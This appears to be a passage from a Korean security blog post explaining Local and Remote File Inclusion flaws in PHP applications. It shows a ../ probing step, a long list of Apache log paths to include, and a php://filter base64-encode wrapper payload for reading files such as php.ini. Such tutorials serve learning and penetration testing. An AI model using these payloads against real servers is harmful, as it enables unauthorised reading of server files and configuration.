ile Inclusion 취약점으로 RFI(Remote File Inclusion)과 LFI(Local File Inclusion)에 대해 알아보자.
일단, RFI나 LFI 취약점이 존재하는지 확인하려면 다음과 같이 파라미터 입력 부분에 ../를 넣어 확인한다.
취약점이 존재하는 경우, 다음과 같은 include 오류가 뜬다.
그럼 이제, LFI와 RFI에 대해 자세히 알아보자.
LFI(Local File Inclusion) 취약점
- LFI(Local File Inclusion) 취약점이란?
1) 공격이 가능한지 확인한다. (파라미터에 ../등을 삽입하여 에러메시지 확인)공격 대상 서버에 위치한 파일을 포함시켜 읽어오는 공격
- php 코드상에서 include() 사용 시 input에 대한 적절한 필터링이 이루어지지 않아 발생하는 취약점
- 일반적으로 포함시키는 파일명
- /etc/httpd/logs/access.log
- /etc/httpd/logs/access_log
- /etc/httpd/logs/error.log
- /etc/httpd/logs/error_log
- /opt/lampp/logs/access_log
- /opt/lampp/logs/error_log
- /usr/local/apache/log
- /usr/local/apache/logs
- /usr/local/apache/logs/access.log
- /usr/local/apache/logs/access_log
- /usr/local/apache/logs/error.log
- /usr/local/apache/logs/error_log
- /usr/local/etc/httpd/logs/access_log
- /usr/local/etc/httpd/logs/error_log
- /usr/local/www/logs/thttpd_log
- /var/apache/logs/access_log
- /var/apache/logs/error_log
- /var/log/apache/access.log
- /var/log/apache/error.log
- /var/log/apache-ssl/access.log
- /var/log/apache-ssl/error.log
- /var/log/httpd/access_log
- /var/log/httpd/error_log
- /var/log/httpsd/ssl.access_log
- /var/log/httpsd/ssl_log
- /var/log/httpd_log
- /var/www/log/access_log
- /var/www/log/error_log
- /var/www/logs/access.log
- /var/www/logs/access_log
- /var/www/logs/error.log
- /var/www/logs/error_log
- C:\apache\logs\access.log
- C:\apache\logs\error.log
- C:\Program Files\Apache Group\Apache\logs\access.log
- C:\Program Files\Apache Group\Apache\logs\error.log
- C:\program files\wamp\apache2\logs
- C:\wamp\apache2\logs
- C:\wamp\logs
- C:\xampp\apache\logs\access.log
- C:\xampp\apache\logs\error.log
- C:\APM_Setup\Server\Apache\logs\error.log
- C:\APM_Setup\Server\Apache\logs\access.log
2. 공격 방법
2) 파라미터에 원하는 파일의 경로 삽입
ex) c:\apm_setup\Server\apache\logs\access.log
하지만..!LFI 취약점을 이용해서 php.ini 파일을 include 시키려고 하면...?다음과 같이 parse 에러가 난다.
왜???
php.ini 파일의 77번째 라인을 찾아가면 다음과 같은 설명글이 있다...
정확히 왜 때문에 발생하는 parse 에러인지 이해는 가지 않지만 받아올 수 있는 방법은 있다!
아마.. include하는데 <?가 중복 포함되서 제대로 include가 안되는 거 같당...(정확히 모르겠음)
- PHP Wrappers 사용한 LFI
여러 종류의 PHP Wrapper 사용이 가능하지만 가장 많이 시도되는 것이 base64 인코딩을 이용한 방법이다.
(다른 종류의 PHP Wrapper가 궁금하다면 https://hakin9.org/web-application-penetration-testing-local-file-inclusion-lfi-testing/ 참조)
이 때, 응답값 내 base64로 인코딩된 파일 컨텐츠를 반환한다!
▶ php://filter/convert.base64-encode/resource=[파일경로]
1) php://filter/convert.base64-encode/resource=c:\apm_setup\php.ini 요청
2) 응답값 내 base64로 인코딩된 값 확인
3) base64 디코딩
'Hacking > Web' 카테고리의 다른 글
[기타] 백신탐지 우회 가능한 패킹(packing)기법 (33) | 2018.03.20 |
---|---|
[기타] WAS 디폴트 페이지 (0) | 2018.03.19 |
[기타] PHP Session 저장 원리 (0) | 2018.03.16 |
[기타] apmsetup7 설치 (0) | 2018.03.16 |
[기타] 자바스크립트를 통한 Xecureweb(제큐어웹) 적용 시 파라미터 확인 및 변조 (0) | 2018.03.12 |